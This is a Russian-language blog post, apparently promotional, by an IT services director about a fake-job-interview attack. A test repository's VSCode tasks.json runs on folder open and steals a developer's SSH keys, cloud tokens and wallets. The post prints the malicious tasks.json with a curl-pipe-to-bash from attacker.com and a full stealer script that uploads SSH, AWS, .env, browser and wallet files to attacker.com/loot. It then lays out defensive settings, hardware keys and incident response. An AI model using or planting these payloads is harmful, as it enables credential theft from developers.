· 11 мин чтения

ИИ-скамеры против разработчиков: новая волна атак через фейковые собеседования

ИИ-скамеры против разработчиков: новая волна атак через фейковые собеседования

Привет! Меня зовут Семёнов Евгений Сергеевич, и я директор АйТи Фреш. Хочу рассказать вам про один инцидент, с которым мы столкнулись в марте 2026 года у одного из наших клиентов — это веб-студия, где работает 22 сотрудника. У них middle-разработчик получил «оффер» на LinkedIn, очень заманчивый, с хорошей зарплатой. Он прошёл два этапа собеседования, а на третьем ему прислали тестовое задание, которое лежало в приватном репозитории GitHub. Как только он открыл этот репозиторий в VSCode — буквально через 15 секунд — у компании утекли SSH-ключи к продакшен-серверам, токены AWS и credentials от Bitrix24. И что самое интересное, никакого классического малваря там не было! Вся атака отработала одной строчкой в файле tasks.json. Вы даже представить себе не можете, как активно сейчас ИИ-агенты раскатывают эту схему. Разбираться с ней нужно прямо сейчас, пока ключи ваших разработчиков не оказались поперёк всего интернета.

Что изменилось: ИИ превратил скам в конвейер

Помните, раньше, до появления ИИ-агентов, фейковые офферы разработчикам были штучными? Злоумышленник тратил кучу времени: вручную собирал профиль своей цели, писал индивидуальное письмо, притворялся HR-специалистом. Это же сколько сил уходило! Поэтому охватить удавалось от силы десятки, ну максимум сотни человек в месяц.

А вот в 2025-2026 годах на сцену вышли ИИ-агенты, и они перевернули игру, делая то же самое, но уже в промышленном масштабе. Представьте: один оператор запускает такого агента, а тот через публичные API LinkedIn, HeadHunter и GitHub выуживает данные из профилей, моментально определяет технологический стек каждой цели и тут же генерирует персонализированное письмо. И это письмо — ровно с той самой позицией, которая идеально подходит соискателю! Backend-разработчику на Go моментально прилетает вакансия Go-разработчика с нужной нишевой специализацией. Frontend-щику на React — почти идеально подобранный его стек. Это десятки тысяч сообщений в день, и каждое из них выглядит как абсолютно живое.

Один исследователь, который специально ловил таких агентов, используя honeypot-аккаунты, за 40 дней насобирал аж 1 170 фейковых офферов. Причём 82% из них приходили с новых GitHub-профилей, у которых было всего 1-3 коммита и стандартная стоковая аватарка. Остальные 18% — с вполне правдоподобных, но, к сожалению, украденных аккаунтов.

Техническая суть атаки: tasks.json как оружие

Знаете, всё гениальное обычно очень просто. В VSCode, в каждом проекте, вы найдёте папку .vscode, где хранятся настройки рабочего пространства. А внутри, среди прочих файлов, лежит tasks.json — это такой файл конфигурации для задач сборки, линтинга или тестов. У этих задач есть очень хитрый параметр runOn. И вот он может быть folderOpen — что означает «выполни эту задачу, как только пользователь откроет папку».

Вот минимальный пример атакующего tasks.json:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "install-deps",
      "type": "shell",
      "command": "curl -fsSL https://attacker.com/x.sh | bash",
      "runOptions": { "runOn": "folderOpen" },
      "presentation": { "reveal": "never", "panel": "dedicated" }
    }
  ]
}

При открытии проекта VSCode без всякого подтверждения скачивает скрипт и запускает. Скрипт делает следующее (реальный дамп одного из пойманных вариантов):

# Собираем SSH-ключи
tar -czf /tmp/ssh.tgz ~/.ssh/ 2>/dev/null

# .env из всех проектов
find ~ -maxdepth 4 -name ".env" -not -path "*/node_modules/*" \
  -exec cat {} \; 2>/dev/null > /tmp/envs.txt

# AWS
tar -czf /tmp/aws.tgz ~/.aws/ 2>/dev/null

# Chrome / Firefox credentials
cp -r ~/.config/google-chrome/Default/Login\ Data /tmp/chrome.db 2>/dev/null
cp -r ~/.mozilla/firefox/*/key4.db /tmp/ff.db 2>/dev/null

# Криптокошельки
find ~/.config -name "exodus.wallet" -exec cp {} /tmp/ \;
find ~ -maxdepth 4 -name "UTC--*" -exec cp {} /tmp/ \;

# Заливаем
curl -X POST https://attacker.com/loot \
  -F "host=$(hostname)" \
  -F "ssh=@/tmp/ssh.tgz" -F "envs=@/tmp/envs.txt" \
  -F "aws=@/tmp/aws.tgz" -F "chrome=@/tmp/chrome.db"

Всё это выполняется за 10-20 секунд в зависимости от канала. Разработчик видит экран VSCode, открывающий проект, — и не замечает ничего.

Почему атака бьёт именно по бизнесу

Обычно такие утечки списывают на «разработчик дурак». Но для IT-аутсорсера и для любого офиса это уже корпоративная проблема:

Вот в том инциденте у нашего клиента — веб-студии — по этим утекшим ключам злоумышленник тут же пробрался на два прод-сервера. И что он там сделал? Развернул Monero-майнер и преспокойно сидел там 9 дней, пока его не обнаружили. Итог: счёт за облако подскочил на 140 000 руб. И знаете, это ещё по-божески! Ведь в марте 2025 года прогремела история, когда через точно такую же схему у одной немецкой финтех-компании угнали 1.7 млн евро с корпоративного кошелька.

Признаки фейкового оффера и репозитория

Инструктаж, который я даю разработчикам клиентов:

ПризнакЧто значит
Первое сообщение в LinkedIn/Telegram без видеозвонкаАгент не хочет показывать лицо, потому что нет лица
Опечатки «для естественности»Модель специально их вставляет, чтобы не выглядеть как LLM
Ответы только в строго определённые часыУ оператора ограниченный таймфрейм работы агента
Вакансия идеально совпадает со стеком кандидатаАгент прочитал твой GitHub и сгенерировал именно под тебя
Приглашение в приватный GitHub-репозиторийЧтобы ты не мог просмотреть содержимое через веб до клонирования
Папка .vscode в тестовомНикогда не должна быть в тестовом задании соискателю
Обфусцированные скрипты, непонятные бинарникиПрямые признаки закладки

И ещё один важный момент: название компании-работодателя вы, скорее всего, просто не найдёте ни в ЕГРЮЛ, ни в западных корпоративных реестрах. А если и найдёте, то это будет какая-нибудь «пустышка», обычная shell company.

Базовая защита: ставлю всем клиентам за 2 часа

Начну с самого главного и первого шага: нужно немедленно отключить эти самые автоматические задачи VSCode. Так вот, в файле settings.json обязательно пропишите:

{
  "task.allowAutomaticTasks": "off",
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.banner": "always",
  "security.workspace.trust.emptyWindow": false,
  "security.workspace.trust.untrustedFiles": "prompt"
}

Эти пять строчек убивают весь класс атак через folderOpen. Workspace Trust заставляет VSCode спросить «ты доверяешь этой папке?» при каждом открытии нового проекта, и пока доверие не подтверждено — задачи, дебаггер и расширения не выполняются.

Для корпоративного деплоя настроек я использую:

Аппаратные ключи — обязательно для SSH и GitHub

Представьте, даже если эта tasks.json-атака всё же проскочит и каким-то чудом сработает, ваш аппаратный ключ попросту сделает все SSH-ключи и GitHub-токены абсолютно бесполезными для злоумышленника. Почему? Потому что YubiKey или RuToken хранит ваш приватный ключ прямо внутри своего чипа, и скопировать его оттуда — ну никак невозможно.

Для SSH настройка занимает 5 минут:

# На клиенте
ssh-keygen -t ed25519-sk -O resident -O verify-required \
  -f ~/.ssh/id_ed25519_sk -C "evgeniy@itfresh-yubikey-2"
# Ключ требует физического касания YubiKey при каждом соединении

# На сервере добавляем в authorized_keys стандартно
cat ~/.ssh/id_ed25519_sk.pub >> /etc/ssh/authorized_keys

Для GitHub-коммитов я перевожу разработчиков на SSH-commit-signing тем же ключом — это закрывает ещё и подделку коммитов украденным токеном.

Цена вопроса за YubiKey 5C NFC — примерно 6 000 руб. на человека. Для офиса, где работает 20 разработчиков, это получается 120 000 руб. один раз. А если вспомнить, что после потери доступа к продакшену убытки могут составить от 140 000 руб. и выше, то считайте, что он окупится уже после первого же подобного инцидента.

Что мы сделали у клиента после инцидента

После того как ключи утекли, я сразу же отправился к этой веб-студии и провёл у них двухдневный проект:

  1. Отозваны все SSH-ключи на всех прод-серверах. Перевыпущены через YubiKey.
  2. Все AWS-токены в IAM отозваны. Настроены short-lived credentials через AWS IAM Identity Center + STS на 12 часов.
  3. Пароли Bitrix24, GitHub, Google Workspace — сменены у всех 22 сотрудников. Включена аппаратная 2FA (обязательна для всех).
  4. Деплой настроек VSCode через GPO (Windows) и Ansible (Linux-разработчики). 19 рабочих станций переконфигурированы за день.
  5. EDR (Kaspersky Endpoint Security) настроен на алерты при чтении ~/.ssh/, ~/.aws/, ~/.config/*wallet*, при выполнении скриптов из .vscode/.
  6. Проведён двухчасовой инструктаж команды: показал реальный tasks.json из инцидента, разобрали признаки фейковых офферов, научили проверять через git archive --format=tar HEAD | tar -t перед клонированием.
  7. Добавлено правило: все тестовые задания от сторонних работодателей клонируются и открываются только в одноразовой VM. Настроена QEMU/KVM template с Debian 12 и предустановленным VSCode — запуск новой VM за 30 секунд.

За этот проект я взял 68 000 руб., плюс ещё 120 000 руб. ушло на YubiKey. Подумайте сами: если сравнивать это с 140 000 руб. за майнинг и потенциальной утечкой клиентских данных, то это, по-моему, совсем недорого.

Политика для всех разработчиков в офисе

Я раздаю такую одностраничную памятку:

Защитим ваш офис от ИИ-скама — от 55 000 руб.

Я сам лично занимаюсь аудитом уязвимости рабочих станций разработчиков и помогаю настроить надёжную корпоративную защиту для компаний здесь, в Москве. Это включает деплой VSCode-политик через GPO/Ansible, полный переход на YubiKey, настройку EDR-алертов на чтение секретов и, конечно, инструктаж всей команды. Обычно такой типовой проект для 20-40 рабочих мест занимает 2-3 дня. Кстати, выезд и предварительный аудит от меня — абсолютно бесплатно.

Телефон: +7 903 729-62-41
Telegram: @ITfresh_Boss
Семёнов Евгений Сергеевич, директор АйТи Фреш

FAQ — защита от ИИ-скама

Как работает атака через tasks.json в VSCode?
В репозитории создаётся файл .vscode/tasks.json с параметром runOn: folderOpen. Когда разработчик открывает папку в VSCode, задача выполняется автоматически — скачивается и запускается скрипт с удалённого сервера. Скрипт ищет SSH-ключи, .env, криптокошельки, пароли браузера и отправляет их злоумышленнику.
Какие данные крадут у разработчиков?
Основные цели: приватные ключи SSH из ~/.ssh, файлы переменных окружения .env с credentials, файлы кошельков Metamask/Exodus/Phantom, пароли и cookie из Chrome/Firefox/Edge, токены AWS/GCP из ~/.aws и ~/.config, история bash и zsh с командами.
Как защитить разработчиков своей компании?
Пять шагов: отключить автоматические задачи VSCode, настроить EDR с мониторингом ~/.ssh и .aws, перевести команду на аппаратные ключи YubiKey/Token, провести внутренний инструктаж по признакам фейковых офферов, отделить рабочие ключи от личных через разные профили ОС или виртуальные машины.
Можно ли просто запретить tasks.json в корпоративной политике?
Можно и нужно. В settings.json корпоративных рабочих мест прописываем task.allowAutomaticTasks: off и security.workspace.trust.enabled: true. Для централизованного деплоя конфигов VSCode используем MDM (Intune, JamfPro) или Ansible с правами administrator для Windows/Linux.
Сколько стоит защитить офис от таких атак?
Для офиса на 30-50 рабочих мест базовая защита — от 55 000 руб.: деплой конфигов VSCode через GPO, переход на YubiKey для SSH у разработчиков и админов, настройка EDR с alertами на чтение ~/.ssh, обучение команды (2 часа). Аппаратные ключи — плюс 6 000 руб. на сотрудника.

Подпишитесь на рассылку ITfresh

Раз в неделю — практические гайды для руководителя IT и сисадмина: безопасность, 1С, миграции, резервные копии, лайфхаки из реальных проектов.

Реквизиты оператора персональных данных

ООО «АЙТИ-ФРЕШ», ИНН 7719418495, КПП 771901001. Юридический адрес: 105523, г. Москва, Щёлковское шоссе, д. 92, корп. 7. Контакт: info@itfresh.ru, +7 903 729-62-41. Оператор обрабатывает e-mail подписчика в целях рассылки информационных и рекламных материалов до момента отзыва согласия.